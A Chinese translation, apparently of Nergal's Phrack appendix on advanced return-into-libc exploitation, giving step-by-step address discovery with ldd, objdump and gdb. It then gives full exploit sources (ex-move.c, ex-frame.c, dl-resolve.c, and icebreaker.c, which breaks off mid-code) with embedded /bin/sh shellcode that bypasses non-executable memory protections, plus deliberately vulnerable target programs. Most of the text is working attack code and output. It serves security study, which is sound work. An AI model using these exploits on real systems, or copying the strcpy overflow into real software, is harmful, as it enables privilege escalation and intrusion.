当前位置:Linux教程 - Linux - 高级返回库函数exploit代码实现(下)

高级返回库函数exploit代码实现(下)



         高级返回库函数exploit代码实现(下)
    作者:Nergal <[email protected]>
    翻译:null(盈星满月) <[email protected]>

    9- [ 附件:README.code
    <++>代码注解
    准备好有缺陷的程序,进行编译。
    $ gcc -o vuln.omit -fomit-frame-pointer vuln.c
    $ gcc -o vuln vuln.c
    $ gcc -o pax pax.c
    I. ex-move.c
    ~~~~~~~~~~~~
    ex-move.c代码的前面部分预定义了一些象LIBC, STRCPY, MMAP, POPSTACK, POPNUM, PLAIN_RET, FRAMES 的常数,你可以根据系统的环境进行调整,注意:MMAP_START 不能改变

    下面,我们来获得这些我们需要的在代码中预定义的常数。
    1)LIBC
    [nergal@behemoth pax]$ ldd ./vuln.omit(*通过ldd,我们可以获得有缺陷函数vuln.omit调用的库函数及其地址)
    libc.so.6 => /lib/libc.so.6 (0x4001e000)<-yeah,这就是库函数的入口地址0x4001e000
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

    2) STRCPY
    [nergal@behemoth pax]$ objdump -T vuln.omit(*通过objdump的参数-T,我们可以得到vuln.omit的动态符号表( DST)
    vuln.omit: file format elf32-i386(显示文件格式)

    动态符号表:
    08048348 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info
    08048358 DF *UND* 0000010c GLIBC_2.0 getenv
    08048368 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info
    08048378 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main
    08048388 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize
    08048530 g DO .rodata 00000004 Base _IO_stdin_used
    00000000 w D *UND* 00000000 __gmon_start__
    08048398 DF *UND* 00000030 GLIBC_2.0 strcpy <-------oh,yeah!
    ~~~~~~~~(得到调用strcpy函数的地址)

    3) MMAP
    [nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap(*从库函数DST中找到mmap地址)
    000daf10 w DF .text 0000003a GLIBC_2.0 mmap <-----yeah,中彩了。
    000db050 w DF .text 000000a0 GLIBC_2.1 mmap64

    4) POPSTACK/POPNUM/PLAIN_RET
    我们必须找到"add $imm,%esp" 后面的"ret"指令。我们需要反汇编缺陷程序vuln.omit ,可以使用gdb的disas指令,也可以用objdump命令。这里使用"objdump --disassemble ./vuln.omit"。
    [nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret(*找出反汇编程序vuln.omit中ret部分)
    ...省略一些无关输出
    --
    80484be: 83 c4 2c add $0x2c,%esp
    ~~~~~~~~(这是出栈前,add指令中的栈指针地址) ~~~~~~(POPNUM的数值) 80484c1: c3 ret
    ~~~~~~~~~("ret"指令的地址)
    --
    80484fe: 5d pop %ebp
    80484ff: c3 ret
    --
    ...省略一些无关输出

    5) FRAMES
    现在我们要找出,在堆栈溢出发生后,堆栈指针的数值。我们要做的事情是让有缺陷的程序vuln.omit发生段错误(core dumped),通过产生的core文件调试该缺陷程序,以获得FRAMES的预定义数值。我们的exploit代码ex-move.c中的参数"testing"将0x5060708保存在指令指针中,我们只需要这样做:
    [nergal@behemoth pax]$ ./ex-move testing
    Segmentation fault (core dumped) <------------- 发生了溢出,进行下一步gbd
    [nergal@behemoth pax]$ gdb ./vuln.omit core
    (no debugging symbols found)...
    Core was generated by ./vuln.omit.
    Program terminated with signal 11, Segmentation fault.
    #0 0x5060708 in ?? ()
    ~~~~~~~~~(和ex-move的指令指针数值一样,如果该数值大于了0x5060708,意味着需要调整堆栈,同时exploit代码ex-move.c中定义结构体ov中的数组"scratch"需要做一定的调整。)
    (gdb) info regi(*显示寄存器中的数值)
    ...
    esp 0xbffffde0 0xbffffde0
    ~~~~~~~~~~(堆栈指针数值:这就是我们要找的FEAMES数值)
    ...
    经过一番曲折,总算完成了exploit代码ex-move.c中的预定义。
    现在来看攻击没有使用最优化选项编译的缺陷程序的exploit代码:ex-frame.c

    II. ex-frame.c
    ~~~~~~~~~~~~~~
    哇靠,还要做调整阿,废话:)LIBC, STRCPY, MMAP, LEAVERET 和FRAMES需要适当调整,和ex-move.c中方法差不多,LIBC,STRCPY, MMAP 以及 FRAMES也是这样。
    LEAVERET的地址是"leave; ret"指令序列的地址。找它的方法和前面一样,同样使用objdump --disassemble 命令。
    [nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
    objdump: vuln: no symbols
    8048335: c9 leave
    8048336: c3 ret
    --
    80484bd: c9 leave
    ~~~~~~~(由3.3节帧伪造可以知道第2帧的leave地址是我们需要的)
    80484be: c3 ret
    --
    8048518: c9 leave
    8048519: c3 ret


    III. dl-resolve.c
    ~~~~~~~~~~~~~~~~~
    需要对代码中预定义的STRTAB, SYMTAB, JMPREL, VERSYM 和PLT_SECTION常数数值进行调整
    由于dl-resolve.c2进制本身关系 ,需要进行两次编译。第一次编译,我们只需#define dummy 值。然后打入下面命令:
    [nergal@behemoth pax]$ objdump -x dl-resolve
    输出下面的信息(动态符号表、串表,重定位入口,etc):
    [...无关信息...]
    动态段区域:
    NEEDED libc.so.6
    INIT 0x804839c
    FINI 0x80486ec
    HASH 0x8048128
    STRTAB 0x8048240 (得到串表STRTAB地址)
    SYMTAB 0x8048170 (得到符号表SYMTAB地址)
    STRSZ 0xa1
    SYMENT 0x10
    DEBUG 0x0
    PLTGOT 0x80497a8
    PLTRELSZ 0x48
    PLTREL 0x11
    JMPREL 0x8048354 (得到JMPREL地址,和PLT地址有关联)
    REL 0x8048344
    RELSZ 0x10
    RELENT 0x8
    VERNEED 0x8048314
    VERNEEDNUM 0x1
    VERSYM 0x80482f8 (得到VERSYM符号版本地址)


    "objdump -x"命令输出过程连接表(PLT)段区域
    [...无关信息...]
    段区域:
    索引名称 Size VMA LMA File off Algn
    0 .interp中断段 00000013 080480f4 080480f4 000000f4 2**0
    ...
    11 .plt过程连接表段 000000a0 080483cc 080483cc 000003cc 2**2
    ~~~~|~~~~~~~~~~~~~~
    --该地址为plt入口地址,得到预定义PLT_SECTION数值
    CONTENTS, ALLOC, LOAD, READONLY, CODE
    再次编译代码dl-resolve.c ,最后我们可以看到象下面:
    old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
    _exit(123) = ?
    这样,mmap()被调用,虽然它不在dl-resolve.c的PLT入口。当然我们可以增加到shellcode中执行,但是没有多大必要对只是证明该理论而编写。

    IV. icebreaker.c
    ~~~~~~~~~~~~~~~~
    9个预定义需要被调整,两个固定:FRAMESINDATA 和 VIND.
    1) FRAMESINDATA
    这是定位或者从内存中划分伪造帧拷贝的静态变量,在pax.c,我们需要找到"bigbuf"数组的地址,如果被攻击的2进制文件没有被脱壳,那么很容易得到该地址,反之,我们必须分析反汇编的输出,在pax.c中13行,"bigbuf"变量在"strncat"函数的参数中出现,如下:
    strncat(bigbuf, ptr, sizeof(bigbuf)-1);
    那么,我们需要找到strncat函数地址:
    [nergal@behemoth pax]$ objdump -T pax | grep strncat
    0804836c DF *UND* 0000009e GLIBC_2.0 strncat
    ~~~~~~~~(strncat 函数地址)
    [nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3 <- _not_ 0804836c(*反汇编pax,通过strncat地址,找到bigbuf的地址)
    objdump: pax: no symbols
    8048362: ff 25 c8 95 04 08 jmp *0x80495c8
    8048368: 00 00 add %al,(%eax)
    804836a: 00 00 add %al,(%eax)
    804836c: ff 25 cc 95 04 08 jmp *0x80495cc
    --
    80484e5: 68 ff 03 00 00 push $0x3ff <- 1023
    80484ea: ff 75 e4 pushl 0xffffffe4(%ebp) <- ptr
    80484ed: 68 c0 9a 04 08 push $0x8049ac0 <- bigbuf
    80484f2: e8 75 fe ff ff call 0x804836c

    找到bigbuf的地址是0x8049ac0.即为预定义的FRAMESINDATA数值。

    2) VIND
    在上文中提到了[低地址,高地址]的间隔,在间隔中寻找短零字节,这个间隔的内存位置是
    [VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]区域。(详见6.2节)
    [nergal@behemoth pax]$ gdb ./icebreaker
    (gdb) set args testing (设置参数为"testing")
    (gdb) r (以参数testing运行icebreaker程序)
    Starting program: /home/nergal/pax/./icebreaker testing
    Program received signal SIGTRAP, Trace/breakpoint trap.
    Cannot remove breakpoints because program is no longer writable.
    It might be running in another process.
    Further execution is probably impossible.
    0x4ffb7d30 in ?? () <- icebreaker执行了pax
    (gdb) c (继续执行下个函数)
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    Cannot remove breakpoints because program is no longer writable.
    It might be running in another process.
    Further execution is probably impossible.
    0x5060708 in ?? () <- pax 发生段错误
    (gdb) shell (获得shell)
    [nergal@behemoth pax]$ ps ax | grep pax (获得pax的进程号:1419)
    1419 pts/0 T 0:00 pax
    [nergal@behemoth pax]$ cat /proc/1419/maps (查看进程号中的映像文件)
    08048000-08049000 r-xp 00000000 03:45 100958 /home/nergal/pax/pax
    08049000-0804a000 rw-p 00000000 03:45 100958 /home/nergal/pax/pax
    ^^^^^^^^^^^^^^^^^
    ^^^^^^^^^^^^^^^^^ 这是我们找的低地址(0x08049000),高地址(0x0804a000)
    4ffb6000-4ffcc000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so
    4ffcc000-4ffcd000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so
    4ffcd000-4ffce000 rw-p 00000000 00:00 0
    4ffd4000-500ef000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so
    500ef000-500f5000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so
    500f5000-500f9000 rw-p 00000000 00:00 0
    bfff6000-bfff8000 rw-p fffff000 00:00 0
    [nergal@behemoth pax]$ exit (退出shell,进入gdb调试模式)
    exit
    (gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8
    0x804847b (计算出VERSYM+(low_addr-SYMTAB)/8的数值)

    (gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
    0x804867b (计算出VERSYM+(hi_addr-SYMTAB)/8的数值)
    /* 现在我们在[0x804847b, 0x804867b]区域搜索短零字节
    (gdb) printf "0x%x\n", 0x804867b-0x804847b
    0x200 (计算该区域的大小)
    (gdb) x/256hx 0x804847b (从该区域开始地址,显示出256个16进制内存区域,以搜索"0000"短零字节)
    ... 非常多的象流星雨的0000在这里...

    现在阅读6.2节的文章,了解更多的"流星花园"
    <-->代码部分
    <++> vuln.c
    #include <stdlib.h>
    #include <string.h>
    int
    main(int argc, char ** argv)
    {
    char buf[16];
    char * ptr = getenv("LNG");
    if (ptr)
    strcpy(buf,ptr);
    }
    <-->

    <++> ex-move.c
    /* by Nergal */

    #include <stdio.h>
    #include <stddef.h>
    #include <sys/mman.h>

    #define LIBC 0x4001e000
    #define STRCPY 0x08048398
    #define MMAP (0x000daf10+LIBC)
    #define POPSTACK 0x80484be
    #define PLAIN_RET 0x80484c1
    #define POPNUM 0x2c
    #define FRAMES 0xbffffde0

    #define MMAP_START 0xaa011000

    char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    /* This is a stack frame of a function which takes two arguments */
    struct two_arg {
    unsigned int func;
    unsigned int leave_ret;
    unsigned int param1;
    unsigned int param2;
    };
    struct mmap_args {
    unsigned int func;
    unsigned int leave_ret;
    unsigned int start;
    unsigned int length;
    unsigned int prot;
    unsigned int flags;


    int fd;
    unsigned int offset;
    };

    /* The beginning of our overflow payload.
    Consumes the buffer space and overwrites %eip */
    struct ov {
    char scratch[28];
    unsigned int eip;
    };

    /* The second part ot the payload. Four functions will be called:
    strcpy, strcpy, mmap, strcpy */
    struct ourbuf {
    struct two_arg zero1;
    char pad1[8 + POPNUM - sizeof(struct two_arg)];
    struct two_arg zero2;
    char pad2[8 + POPNUM - sizeof(struct two_arg)];
    struct mmap_args mymmap;
    char pad3[8 + POPNUM - sizeof(struct mmap_args)];
    struct two_arg trans;
    char hell[sizeof(hellcode)];
    };

    #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
    //#define PTR_TO_NULL 0x80484a7

    main(int argc, char **argv)
    {
    char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
    char *env[2] = { lg, 0 };
    struct ourbuf thebuf;
    struct ov theov;
    int i;

    memset(theov.scratch, X, sizeof(theov.scratch));

    if (argc == 2 && !strcmp("testing", argv[1])) {
    for (i = 0; i < sizeof(theov.scratch); i++)
    theov.scratch[i] = i + 0x10;
    theov.eip = 0x05060708;
    } else {
    /* To make the code easier to read, we initially return into "ret". This will
    return into the address at the beginning of our "zero1" struct. */
    theov.eip = PLAIN_RET;
    }

    memset(&thebuf, Y, sizeof(thebuf));

    thebuf.zero1.func = STRCPY;
    thebuf.zero1.leave_ret = POPSTACK;
    /* The following assignment puts into "param1" the address of the least
    significant byte of the "offset" field of "mmap_args" structure. This byte
    will be nullified by the strcpy call. */
    thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_args, offset);
    thebuf.zero1.param2 = PTR_TO_NULL;

    thebuf.zero2.func = STRCPY;
    thebuf.zero2.leave_ret = POPSTACK;
    /* Also the "start" field must be the multiple of page. We have to nullify
    its least significant byte with a strcpy call. */
    thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_args, start);
    thebuf.zero2.param2 = PTR_TO_NULL;


    thebuf.mymmap.func = MMAP; /*调用mmap函数*/
    thebuf.mymmap.leave_ret = POPSTACK;
    thebuf.mymmap.start = MMAP_START + 1; /*mmap函数映像开始地址*/
    thebuf.mymmap.length = 0x01020304; /*mmap函数映像长度*/
    /* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
    put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
    case, we would need more zeroing. */
    thebuf.mymmap.prot =
    0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
    /* Same as above. Be careful not to include MAP_GROWS_DOWN */
    thebuf.mymmap.flags =
    0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
    thebuf.mymmap.fd = 0xffffffff; /*文件描述符,即为-1 */
    thebuf.mymmap.offset = 0x01021001; /*mmap偏移量*/
    /*以上设置函数mmap()的各个参数,见4.2节*/
    /* The final "strcpy" call will copy the shellcode into the freshly mmapped
    area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
    MMAP_START+1.
    */
    /*以下调用strcpy(),将shellcode拷贝到新mmap的映像区域,该区域在参数*start地址+1 */
    thebuf.trans.func = STRCPY;
    thebuf.trans.leave_ret = MMAP_START + 1;
    thebuf.trans.param1 = MMAP_START + 1;
    thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

    memset(thebuf.hell, x, sizeof(thebuf.hell));
    strncpy(thebuf.hell, hellcode, strlen(hellcode));

    strcpy(lg, "LNG=");
    memcpy(lg + 4, &theov, sizeof(theov));
    memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
    lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

    if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
    fprintf(stderr,
    "size=%i len=%i; zero(s) in the payload, correct it.\n",
    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
    strlen(lg));
    exit(1);
    }
    execle("./vuln.omit", "./vuln.omit", 0, env, 0);
    }
    <-->

    <++> pax.c
    #include <stdlib.h>
    #include <string.h>
    char spare[1024];
    char bigbuf[1024];

    int
    main(int argc, char ** argv)
    {
    char buf[16];
    char * ptr=getenv("STR");
    if (ptr) {
    bigbuf[0]=0;
    strncat(bigbuf, ptr, sizeof(bigbuf)-1);
    }
    ptr=getenv("LNG");
    if (ptr)
    strcpy(buf, ptr);
    }
    <-->

    <++> ex-frame.c
    /* by Nergal */
    #include <stdio.h>
    #include <stddef.h>
    #include <sys/mman.h>

    #define LIBC 0x4001e000
    #define STRCPY 0x08048398
    #define MMAP (0x000daf10+LIBC)
    #define LEAVERET 0x80484bd
    #define FRAMES 0xbffffe30

    #define MMAP_START 0xaa011000

    char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    /* See the comments in ex-move.c */
    struct two_arg {
    unsigned int new_ebp;
    unsigned int func;
    unsigned int leave_ret;
    unsigned int param1;
    unsigned int param2;
    };
    struct mmap_args {
    unsigned int new_ebp;
    unsigned int func;
    unsigned int leave_ret;
    unsigned int start;
    unsigned int length;
    unsigned int prot;
    unsigned int flags;
    unsigned int fd;
    unsigned int offset;
    };

    struct ov {
    char scratch[24];
    unsigned int ebp;
    unsigned int eip;
    };

    struct ourbuf {
    struct two_arg zero1;
    struct two_arg zero2;
    struct mmap_args mymmap;
    struct two_arg trans;
    char hell[sizeof(hellcode)];
    };

    #define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

    main(int argc, char **argv)
    {
    char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
    char *env[2] = { lg, 0 };
    struct ourbuf thebuf;
    struct ov theov;
    int i;

    memset(theov.scratch, X, sizeof(theov.scratch));

    if (argc == 2 && !strcmp("testing", argv[1])) {
    for (i = 0; i < sizeof(theov.scratch); i++)
    theov.scratch[i] = i + 0x10;
    theov.ebp = 0x01020304;
    theov.eip = 0x05060708;
    } else {
    theov.ebp = FRAMES;
    theov.eip = LEAVERET;
    }
    thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2);
    thebuf.zero1.func = STRCPY;
    thebuf.zero1.leave_ret = LEAVERET;
    thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_args, offset);
    thebuf.zero1.param2 = PTR_TO_NULL;

    thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap);
    thebuf.zero2.func = STRCPY;
    thebuf.zero2.leave_ret = LEAVERET;
    thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
    offsetof(struct mmap_args, start);
    thebuf.zero2.param2 = PTR_TO_NULL;


    thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans);
    thebuf.mymmap.func = MMAP;
    thebuf.mymmap.leave_ret = LEAVERET;
    thebuf.mymmap.start = MMAP_START + 1;
    thebuf.mymmap.length = 0x01020304;
    thebuf.mymmap.prot =
    0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
    /* again, careful not to include MAP_GROWS_DOWN below */
    thebuf.mymmap.flags =
    0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
    thebuf.mymmap.fd = 0xffffffff;
    thebuf.mymmap.offset = 0x01021001;

    thebuf.trans.new_ebp = 0x01020304;
    thebuf.trans.func = STRCPY;
    thebuf.trans.leave_ret = MMAP_START + 1;
    thebuf.trans.param1 = MMAP_START + 1;
    thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

    memset(thebuf.hell, x, sizeof(thebuf.hell));
    strncpy(thebuf.hell, hellcode, strlen(hellcode));

    strcpy(lg, "LNG=");
    memcpy(lg + 4, &theov, sizeof(theov));
    memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
    lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

    if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
    fprintf(stderr,
    "size=%i len=%i; zero(s) in the payload, correct it.\n",
    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
    strlen(lg));
    exit(1);
    }
    execle("./vuln", "./vuln", 0, env, 0);
    }
    <-->

    <++> dl-resolve.c
    /* by Nergal */
    #include <stdlib.h>
    #include <elf.h>
    #include <stdio.h>
    #include <string.h>

    #define STRTAB 0x8048240
    #define SYMTAB 0x8048170
    #define JMPREL 0x8048354
    #define VERSYM 0x80482f8

    #define PLT_SECTION "0x080483cc"

    void graceful_exit()
    {
    exit(123);
    }

    void doit(int offset)
    {
    int res;
    __asm__ volatile ("
    pushl $0x01011000
    pushl $0xffffffff
    pushl $0x00000032
    pushl $0x00000007
    pushl $0x01011000
    pushl $0xaa011000
    pushl %%ebx
    pushl %%eax
    pushl $" PLT_SECTION "
    ret"
    :"=a"(res)
    :"0"(offset),
    "b"(graceful_exit)
    );

    }

    /* this must be global */
    Elf32_Rel reloc;

    #define ANYTHING 0xfe
    #define RQSIZE 60000
    int
    main(int argc, char **argv)
    {
    unsigned int reloc_offset;
    unsigned int real_index;
    char symbol_name[16];
    int dummy_writable_int;
    char *tmp = malloc(RQSIZE);
    Elf32_Sym *sym;
    unsigned short *null_short = (unsigned short*) tmp;

    /* create a null index into VERSYM */
    *null_short = 0;

    real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
    sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
    if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
    fprintf(stderr,
    "mmap symbol entry is too far, increase RQSIZE\n");
    exit(1);
    }
    /*baby my favorably number is not a white,baby my favorably number is not a black ----magic number*/
    strcpy(symbol_name, "mmap");
    sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;
    sym->st_value = (unsigned int) &dummy_writable_int;
    sym->st_size = ANYTHING;
    sym->st_info = ANYTHING;
    sym->st_other = ANYTHING & ~3;
    sym->st_shndx = ANYTHING;
    reloc_offset = (unsigned int) (&reloc) - JMPREL;
    reloc.r_info = R_386_JMP_SLOT + real_index*256;
    reloc.r_offset = (unsigned int) &dummy_writable_int;

    doit(reloc_offset);
    printf("not reached\n");
    return 0;
    }
    <-->
    The oneself that do the affair, deeply drunk likes among them, and forget any politics with tiresome, with concentration study, and have no to show interest。-r000t
    <++> icebreaker.c
    /* by Nergal */
    #include <stdio.h>
    #include <stddef.h>
    #include <sys/mman.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>

    #define STRCPY 0x080483cc
    #define LEAVERET 0x08048359
    #define FRAMESINDATA 0x08049ac0

    #define STRTAB 0x8048204
    #define SYMTAB 0x8048164
    #define JMPREL 0x80482f4
    #define VERSYM 0x80482a8
    #define PLT 0x0804835c

    #define VIND 0x804859b

    #define MMAP_START 0xaa011000

    char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    /*
    Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in
    our payload. So, we shift the name by 1 (one x).
    */
    #define NAME_ADD_OFF 1

    char mmap_string[] = "xmmap";
    struct two_arg {
    unsigned int new_ebp;
    unsigned int func;
    unsigned int leave_ret;
    unsigned int param1;
    unsigned int param2;
    };
    struct mmap_plt_args {
    unsigned int new_ebp;
    unsigned int put_plt_here;
    unsigned int reloc_offset;
    unsigned int leave_ret;
    unsigned int start;
    unsigned int length;
    unsigned int prot;
    unsigned int flags;
    unsigned int fd;
    unsigned int offset;
    };
    struct my_elf_rel {
    unsigned int r_offset;
    unsigned int r_info;
    };
    struct my_elf_sym {
    unsigned int st_name;
    unsigned int st_value;
    unsigned int st_size; /* Symbol size */
    unsigned char st_info; /* Symbol type and binding */
    unsigned char st_other; /* ELF spec say: No defined meaning, 0 */
    unsigned short st_shndx; /* Section index */

    };

    struct ourbuf {
    struct two_arg reloc;
    struct two_arg zero[8];
    struct mmap_plt_args mymmap;
    struct two_arg trans;
    char hell[sizeof(hellcode)];
    struct my_elf_rel r;
    struct my_elf_sym sym;
    char mmapname[sizeof(mmap_string)];

    };

    struct ov {
    char scratch[24];
    unsigned int ebp;
    unsigned int eip;
    };

    #define PTR_TO_NULL (VIND+1)
    /* this functions prepares strcpy frame so that the strcpy call will zero
    a byte at "addr"
    */
    void fix_zero(struct ourbuf *b, unsigned int addr, int idx)
    {
    b->zero[idx].new_ebp = FRAMESINDATA +
    offsetof(struct ourbuf,
    zero) + sizeof(struct two_arg) * (idx + 1);
    b->zero[idx].func = STRCPY;
    b->zero[idx].leave_ret = LEAVERET;
    b->zero[idx].param1 = addr;
    b->zero[idx].param2 = PTR_TO_NULL;
    }

    /* this function checks if the byte at position "offset" is zero; if so,
    prepare a strcpy frame to nullify it; else, prepare a strcpy frame to
    nullify some secure, unused location */
    void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum)
    {
    char *ptr = (char *) b;
    if (!ptr[offset]) {
    fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum,
    offset);
    ptr[offset] = 0xff;
    fix_zero(b, FRAMESINDATA + offset, zeronum);
    } else
    fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
    zeronum);
    }

    /* same as above, but prepare to nullify a byte not in our payload, but at
    absolute address abs */
    void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset,
    int zeronum)
    {
    char *ptr = (char *) b;
    if (!ptr[offset]) {
    fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum,
    offset);
    ptr[offset] = 0xff;
    fix_zero(b, (unsigned int) addr, zeronum);
    } else
    fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
    zeronum);
    }

    int main(int argc, char **argv)
    {
    char lng[sizeof(struct ov) + 4 + 1];
    char str[sizeof(struct ourbuf) + 4 + 1];
    char *env[3] = { lng, str, 0 };
    struct ourbuf thebuf;
    struct ov theov;
    int i;
    unsigned int real_index, mysym, reloc_offset;

    memset(theov.scratch, X, sizeof(theov.scratch));
    if (argc == 2 && !strcmp("testing", argv[1])) {
    for (i = 0; i < sizeof(theov.scratch); i++)
    theov.scratch[i] = i + 0x10;
    theov.ebp = 0x01020304;
    theov.eip = 0x05060708;
    } else {
    theov.ebp = FRAMESINDATA;
    theov.eip = LEAVERET;
    }
    strcpy(lng, "LNG=");
    memcpy(lng + 4, &theov, sizeof(theov));
    lng[4 + sizeof(theov)] = 0;

    memset(&thebuf, A, sizeof(thebuf));
    real_index = (VIND - VERSYM) / 2;
    mysym = SYMTAB + 16 * real_index;
    fprintf(stderr, "mysym=0x%x\n", mysym);
    if (mysym > FRAMESINDATA
    && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) {
    fprintf(stderr,
    "syment intersects our payload;"
    " choose another VIND or FRAMESINDATA\n");
    exit(1);
    }

    reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL;

    /* This strcpy call will relocate my_elf_sym from our payload to a fixed,
    appropriate location (mysym)
    */
    thebuf.reloc.new_ebp =
    FRAMESINDATA + offsetof(struct ourbuf, zero);
    thebuf.reloc.func = STRCPY;
    thebuf.reloc.leave_ret = LEAVERET;
    thebuf.reloc.param1 = mysym;
    thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);
    thebuf.mymmap.new_ebp =FRAMESINDATA + offsetof(struct ourbuf, trans);
    thebuf.mymmap.put_plt_here = PLT;
    thebuf.mymmap.reloc_offset = reloc_offset;
    thebuf.mymmap.leave_ret = LEAVERET;
    thebuf.mymmap.start = MMAP_START;
    thebuf.mymmap.length = 0x01020304;
    thebuf.mymmap.prot =
    0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
    thebuf.mymmap.flags =
    0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE |
    MAP_ANONYMOUS;
    thebuf.mymmap.fd = 0xffffffff;
    thebuf.mymmap.offset = 0x01021000;
    thebuf.trans.new_ebp = 0x01020304;
    thebuf.trans.func = STRCPY;
    thebuf.trans.leave_ret = MMAP_START + 1;
    thebuf.trans.param1 = MMAP_START + 1;
    thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);

    memset(thebuf.hell, x, sizeof(thebuf.hell));
    memcpy(thebuf.hell, hellcode, strlen(hellcode));

    thebuf.r.r_info = 7 + 256 * real_index;
    thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4;
    thebuf.sym.st_name =FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB;
    thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4;

    #define ANYTHING 0xfefefe80
    thebuf.sym.st_size = ANYTHING;
    thebuf.sym.st_info = (unsigned char) ANYTHING;
    thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3;
    thebuf.sym.st_shndx = (unsigned short) ANYTHING;

    strcpy(thebuf.mmapname, mmap_string);

    /* setup_zero[_abs] functions prepare arguments for strcpy calls, which
    are to nullify certain bytes
    */
    setup_zero(&thebuf,
    offsetof(struct ourbuf, r) +
    offsetof(struct my_elf_rel, r_info) + 2, 0);

    setup_zero(&thebuf,
    offsetof(struct ourbuf, r) +
    offsetof(struct my_elf_rel, r_info) + 3, 1);

    setup_zero_abs(&thebuf,
